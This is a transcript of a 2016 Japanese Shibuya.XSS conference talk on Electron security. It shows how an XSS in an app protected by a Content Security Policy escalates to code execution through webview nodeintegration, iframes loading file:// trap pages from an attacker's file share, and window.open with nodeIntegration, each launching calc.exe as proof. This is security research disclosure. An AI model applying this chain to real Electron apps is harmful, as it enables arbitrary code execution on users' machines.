electronのはなし - utf-8utf-8.jp/public/2016/0328/shibuyaxss.pdf ·...
TRANSCRIPT
![Page 1: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/1.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
Electronのはなし
はせがわようすけ
http://utf-8.jp/
![Page 2: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/2.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
自己紹介
はせがわようすけ @hasegawayosuke
(株)セキュアスカイ・テクノロジー 常勤技術顧問
OWASP Kansaiチャプターリーダー
OWASP Japanボードメンバー
http//utf-8.jp/
![Page 3: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/3.jpg)
宣伝: 本が出ました
![Page 4: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/4.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
ブラウザハック
Wade Alcorn、 Christian Frichot、Michele Orrù著
園田道夫、西村宗晃、はせがわようすけ監修
http://www.shoeisha.co.jp/book/detail/9784798143439
![Page 5: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/5.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
ブラウザハック
書籍内、日本人で唯一のバイネームな記述
![Page 6: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/6.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
ブラウザハック
書籍内、日本人で唯一のバイネームな記述
監修者まえがき
「特に原稿が遅いはせがわようすけさんにはハラハラさせられました」
(´Д`;)
![Page 7: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/7.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
ブラウザハック
書籍内、日本人で唯一のバイネームな記述
監修者まえがき
「特に原稿が遅いはせがわようすけさんにはハラハラさせられました」
v(*'ω'*)v
「2009年に日本のセキュリティ研究家のはせがわようすけが、[],$_+:~{}とその他わずかの∥のみでJavaScriptコードを…」
![Page 8: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/8.jpg)
今日の話
![Page 9: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/9.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
Electronのセキュリティの話
詳しい話はこのあたりを見てくださいhttp://utf-8.jp/public/2016/0307/electron.pdf
![Page 10: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/10.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
「Electronの倒し方」 - #html5jplat
https://codeiq.jp/magazine/2016/03/38961/
![Page 11: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/11.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
「Electronの倒し方」 - #html5jplat
最後にはせがわ氏は「webviewタグ、webFrameAPIなど今回触れなかったElectron固有の注意点については、3月28日に開催するShibuya.XSSで説明する」と語り
”
“
![Page 12: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/12.jpg)
しません><
![Page 13: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/13.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
今日の話題
その1. Electron vs CSP
その2. Electronのnodeモジュール探索パス
![Page 14: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/14.jpg)
その1Electron vs CSP
![Page 15: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/15.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
ElectronへのCSPの適用
レンダラにCSPを適用
CSPが指定されてもwebviewタグ内では自由にスクリプトが実行可能
CSPではXSSの緩和にならない
<meta http-equiv="Content-Security-Policy"content="default-src 'self'">
<webview nodeintegration src="data:text/html,<script>
require('child_process').exec('calc.exe', ()=>{})
</script>"></webview>
http://utf-8.jp/public/2016/0307/electron.pdf
![Page 16: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/16.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
ElectronへのCSPの適用
webviewタグを使わずどこまで攻撃できるのかXSSはあるがCSPは適用されている
// main.jsapp.on('ready', ()=>{
mainWindow = new BrowserWindow({width: 600, height: 400} );mainWindow.loadUrl( `file://${__dirname}/index.html` );....
<meta http-equiv="Content-Security-Policy"content="default-src 'self'">
<script src="index.js"></script>
// index.jsdocument.querySelector("#msg").innerHTML = xss_source; //XSS!
![Page 17: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/17.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
ElectronへのCSPの適用
レンダラ内は同一オリジン以外のリソースは禁止
// index.jsdocument.querySelector("#msg").innerHTML = xss_source; //XSS!
<meta http-equiv="Content-Security-Policy"content="default-src 'self'">
<script src="index.js"></script>
<script src="http://example.jp/evil.js"></script> … 発火しない
<img src=# onload=alert(1)> … CSPでブロック
<iframe src="http://example.jp/"></iframe> … CSPでブロック
<iframe src="file.html"></iframe>… 表示される。iframe内のスクリプトも動作
![Page 18: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/18.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
ElectronへのCSPの適用
iframeの埋め込みは可能!
// index.jsdocument.querySelector("#msg").innerHTML = xss_source; //XSS!
<meta http-equiv="Content-Security-Policy"content="default-src 'self'">
<script src="index.js"></script>
<iframe src="file.html"></iframe>
<!-- file.html内 --><script>console.log(1);</script> iframe内で実行される
![Page 19: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/19.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
ElectronへのCSPの適用
CSPが適用されているがXSSがあるアプリsrc=http://なiframeは埋め込み不可
src=file://なiframeの埋め込みが可能
iframe内のJavaScriptは動作する
CSPが適用された通常どおりの動作
file://なHTML内に悪意のあるコードを埋め込めば攻略できるのでは!
![Page 20: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/20.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
ElectronへのCSPの適用
file://なHTML内に悪意のあるコードを埋め込めば攻略できるのでは!そもそも「同一オリジン」はどこ?
ディレクトリ関係なく全ファイルが同一オリジン
// main.jsapp.on('ready', ()=>{
mainWindow = new BrowserWindow({width: 600, height: 400} );mainWindow.loadUrl( `file://${__dirname}/index.html` );....
console.log( location.origin ); // => "file://"
![Page 21: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/21.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
ElectronへのCSPの適用
file://なHTML内に悪意のあるコードを埋め込めば攻略できるのでは!Electronアプリの外側でもいい。任意のフォルダ。
file://スキームで罠ファイルを用意する方法…事前に悪意のあるファイルをダウンロードさせる?→ダウンロード先フォルダを攻撃者は知る必要がある
Electron、他アプリ等でeval(xhr.responseText)みたいな任意コードできるHTMLがないか探す→さすがに簡単には見当たらない
![Page 22: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/22.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
ElectronへのCSPの適用
file://スキームで罠ファイルを用意する方法
ファイルサーバ(CIFS or WebDAV)を立ち上げてfile://file-server/share/trap.htmlみたいなファイルを用意すればいい!
<meta http-equiv="Content-Security-Policy"content="default-src 'self'">
<iframe src="file://server/share/trap.html"></iframe>file://server/share/trap.html
![Page 23: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/23.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
ElectronへのCSPの適用
罠HTMLファイル内のコードそのままではnode.jsの機能が使えない→任意コード実行とまで言えない
nodeを有効にしてwindowを開きなおす
typeof require; // => "undefined"
<script>window.open(`data:text/html,<script>require('child_process').exec('calc.exe',()=>{})
<¥/script>`,"","nodeIntegration=1")
</script>
![Page 24: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/24.jpg)
Shibuya.XSS techtalk #7 #shibuyaxss
ElectronへのCSPの適用:まとめ
CSPでdefault-src 'self'が効いていても任意フォルダのfile:スキームなコンテンツが読める
ファイルサーバ上のコンテンツも読める
ファイルサーバに罠コンテンツを用意し<iframe>をインジェクトすることで任意コード実行が可能
結論:CSPが指定されていてもXSSがあればwebviewタグを使わなくても任意コード実行が可能
![Page 25: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/25.jpg)
Electronのnodeモジュール探索パス
![Page 26: Electronのはなし - UTF-8utf-8.jp/public/2016/0328/shibuyaxss.pdf · Electronアプリの外側でもいい。任意のフォルダ。 file://スキームで罠ファイルを用意する方法…](https://reader034.vdocuments.mx/reader034/viewer/2022042307/5ed2f697538dbf36fd2e489b/html5/thumbnails/26.jpg)
検閲により削除